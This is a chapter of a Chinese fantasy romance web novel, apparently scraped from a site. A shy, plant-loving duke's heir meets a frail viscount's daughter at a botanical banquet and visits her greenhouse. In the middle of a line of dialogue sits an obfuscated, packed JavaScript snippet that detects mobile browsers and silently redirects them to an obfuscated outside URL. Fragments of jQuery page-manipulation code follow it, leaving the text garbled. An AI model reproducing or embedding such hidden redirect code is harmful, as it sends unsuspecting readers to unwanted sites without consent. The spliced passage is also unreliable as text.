威尔家族的荣耀,是用铁与血铸就的。
自开国以来,他们便是王族最锋利的剑,最坚固的盾。初代威尔大公跟随开国君主力战沙场,在决定王国命运的战役中,他身中七箭仍死守桥头,为大军争取了至关重要的三个小时。战后,他被赐予“铁壁”称号,国王亲自参加他的葬礼,并追授他为公爵,世袭罔替。
三百年间,威尔家族英才辈出。每一代族长都担任王国元帅,每一位子弟都在不同的领域中崭露头角。到了埃罗.威尔这一代,这个家族已经不仅是军事世家,更将触角延伸至政治、经济等各个领域。
威尔家族的府邸占据王都之外景致最优美的地区,他们的私人画廊收藏着无数大师的真迹,他们的宴会厅能容纳半个王城的贵族。
埃罗作为这一代唯一的继承人,从小就被寄予厚望。他应该像祖辈一样,骑着战马,手持长剑,英勇杀敌,在沙场上续写家族荣光。
但埃罗却让所有人失望了。
这个黑发蓝眸的年轻公爵继承人,对刀剑和争斗毫无兴趣,也与坚毅铁血等等词语毫不沾边,反而性格温吞,整日泡在家族温室里,沉迷于植物的海洋。他能准确说出每一株植物的拉丁学名,却记不住最基本的兵法阵型;他能分辨出各种花朵最细微的香气差异,却对政治权谋一窍不通。
老威尔公爵为此伤透脑筋。他请来最好的剑术老师,埃罗却在比试时屡次走神,只顾着分析对手佩剑上镶嵌的宝石成色;他带埃罗出席军事会议,年轻人却装作认真做记录的样子,在笔记本上偷偷描摹窗外的花草。
“我们威尔家世代为将,怎么到这一代出了个园丁?”老公爵时常对着好友叹息。
这样一个不学无术的贵族子弟,如何能撑起偌大的威尔家族?又如何能再续威尔家族延续了数百年的荣光?
更让他头疼的是,埃罗对自己的婚姻大事也漠不关心。无数贵族小姐向他示好,他却总是礼貌地保持距离,从不表现出对任何一位小姐的兴趣。老公爵也曾试图撮合埃罗与其他门当户对的小姐,可他却总是找出各种各样的理由搪塞推辞。在王都社交圈里,埃罗.威尔在贵族小姐中是个谜一样的存在——拥有令人艳羡的家世与容貌,却像个苦行僧般不近女色。
就连埃罗.威尔自己也认为,他此生注定会孤独终老。但他觉得这样也没什么不好,对他来说,能与花草相伴就已经是最大的幸福了,他宁愿一直泡在温室里。
直到那个春天的午后,他的命运终于与另一个人相交了。
皇家植物学会举办了一场年宴,埃罗也在受邀嘉宾之列。
他原本只是例行公事地出席。这种年宴向来没什么意思,借着观赏植物的名头,实际上尽是些无聊的应酬。那些所谓的上流人士只知道欣赏鲜花的鲜妍绚烂,真正懂得植物的却根本没几个。
早些年,埃罗还会盼望这一场植物学会年宴,但现在他早已看透了这类宴会的本质,就变得有些意兴阑珊了。
他慢悠悠地离开拥挤吵闹的人群,晃到一条没什么人的蓝藤□□上逛了一两分钟,又绕过一个小小的花圃,脚步突然顿住了。
花圃的角落里,一个少女正背对着他,踮起脚尖仔细观察一株珍稀的月光兰。少女身着淡紫色长裙,一头瀑布般的银发垂在身后,在阳光下近乎透明。即使天气并不寒冷,她也在外面罩了一件长衫,露出的手指白皙得让人能看到淡青色的血管。
少女似乎察觉到了身后的动静,缓缓转过身来,露出一张精致却及其苍白的脸庞。她的眼睛是罕见的冰蓝色,如同冬日清晨结了一层薄冰的湖面。见到埃罗,她微微怔了一下,随即提起裙摆行了一个标准的屈膝礼。
“抱歉,我不知道这里有人。”她的声音轻柔,带着些许拘谨。
埃罗这才意识到自己已经盯着对方看了太久,他连忙回礼,“不,您无需道歉,是我打扰了您赏花的雅兴。”
一阵微风吹过,蓝藤花架上飘下几片花瓣,纷纷扬扬地在半空中飞舞。少女伸手接住一片,唇角不自觉扬起温柔的弧度。
“这蓝藤花开得真好。”她轻声说,“我家的书房窗外也有一个蓝藤花架。每到这个季节,父亲总会让人把窗户打开,让花香飘进来。”
埃罗注意到她说话时,总会不自觉地用指尖轻抚花瓣,动作轻柔得像是怕惊扰了它们。
“您似乎很熟悉这些花。”
“家母生前最爱蓝藤花。”少女的目光柔和了些许,“我从小就学着母亲在花架下读书,习惯了它们的陪伴。”
两人慢慢地沿着□□漫步。少女穿着繁复笨重的长裙,神态却天真烂漫,她对于花草的养护有自己的一套独特见解,提出的某些观点甚至比埃罗还要专业。
两人相谈甚欢,不知不觉走到了□□尽头,来到了一处人造喷泉附近。
在潺潺的流水声中,埃罗终于忍不住开口问道:“请原谅我的冒昧,我是埃罗.威尔,还未请教您的名字?”
少女停下脚步,转身面对他。阳光透过花叶的缝隙,在她银色的长发上撒下斑驳的光点。
“薇拉.奥尔格斯,子爵之女。”她微微颔首,“很荣幸认识您,威尔先生。”
埃罗注意到薇拉在阳光下不自觉地眯起眼睛,额角渗出细密的汗珠。他不动声色地挪了半步,恰好为她挡住了直射的阳光,刚做完这一切,他自己都不由得吃了一惊,他从前可绝不是一个会如此在意别人感受的人。
但惊诧只是一瞬间,他发觉自己并不讨厌如今这种感觉。
“薇拉小姐,”他温和地说,“如果您不介意,前面凉亭里的蓝藤花开得正好,或许比这里更适合交谈。”
薇拉感激地看了他一眼:“您真细心。”
他们走向被蓝藤花笼罩的凉亭。淡蓝色的长花穗垂落如瀑,在微风中轻轻摇曳。薇拉在一张长椅上坐下,拿出手绢轻轻擦净汗珠,明显松了口气。
“其实我很少参加这样的宴会,我的身体经受不了长时间的行走和社交。”她轻声坦白,“但听说今年植物学会引进了不少新品种……”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039448|194673||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
比如那株月光兰?”埃罗在她对面坐下。
薇拉的眼睛顿时亮了起来,“您也注意到它了?我从未见过品相如此完美的月光兰,就连叶片上的银斑都……”
她突然停下来,有些不好意思地低下头,面颊微微泛红,“抱歉,我一说起植物就停不下来,希望没有惹您不快。”
“请继续说下去。”埃罗真诚地说,“我已经很久没遇到能这样畅谈植物的人了。”
凉亭里,两人的交谈声与蓝藤花的香气交织在一起。当宴会结束的钟声响起时,他们惊讶地发现时间竟然过得如此之快。
“希望以后还能与您交流植物方面的心得。”埃罗送薇拉回到主厅时说道。
薇拉从手袋中取出一本小巧的笔记本,快速写下一行字,然后将那张纸撕下来递给他,有点窘迫地说:“这是子爵府的地址。下周我们的温室会新到一批来自东方的兰花,如果您愿意前来的话,我将不胜感激。”
埃罗郑重地接过纸条,看着薇拉在侍从的陪伴下离去。掌中的纸条还带着淡淡的蓝藤花香,就像这个下午的邂逅,美好得让人留恋。
他站在原地,直到那个银发的身影消失在转角,才小心地将纸条收进胸前的口袋。
一周以后,埃罗如约站在了奥尔格斯子爵府门前,手里紧握着那张已经有些折痕的纸条。子爵府比他想象的要简朴许多,但花园却打理得异常精致,显然经过了精心的培育。
一位年长而和蔼的管家问过他的来意后,将他引至温室。推开玻璃门的瞬间,湿润温暖的空气扑面而来,夹杂着各种兰花的奇异芬芳。
薇拉正站在一株开着淡黄色小花的兰草前,专注地记录着什么。她今天只穿了一条款式简单的浅绿色长裙,不施粉黛,不配首饰,银发随意地挽在脑后,比在宴会上时更显轻松自在。
“您来了。”她抬头看见他,眼中浮现出真切的笑意,“正好,这株‘金钗兰’刚刚绽放,我想您一定不愿错过它最美的时刻。”
他们并肩穿行在温室中,薇拉如数家珍地介绍着新到的品种:“这是‘凤凰兰’,来自东方群岛,据说只在雨季来临前开花;那株是‘月光美人’,与月光兰是近亲,但花期更长……东方还有一种叫银叶草的神奇植物,像星辰一样绚烂美丽,只可惜我们用尽办法,也没能成功将银叶草运回来。”薇拉轻轻叹了口气,“银叶草太脆弱了,似乎也不适应这里的气候,很难成活。”
当薇拉谈论植物时,她整个人都会焕发出一种独特的光彩,她不仅了解每一种花的习性和产地,还能说出与之相关的传说和典故。
“您对植物的了解真令人惊叹。”他由衷地说。
薇拉的笑容淡了些,手指轻轻抚过一株兰草的叶片,带着点不易察觉的哀伤,“这些都是母亲教我的。她曾说,每一株植物都有独属于自己的一个故事,等待懂得它的人来聆听。”
她转向他,眼中闪过一丝犹豫,但停顿了片刻后,她还是选择了开口:“其实……我邀请您来,除了赏花,还有一事相求。”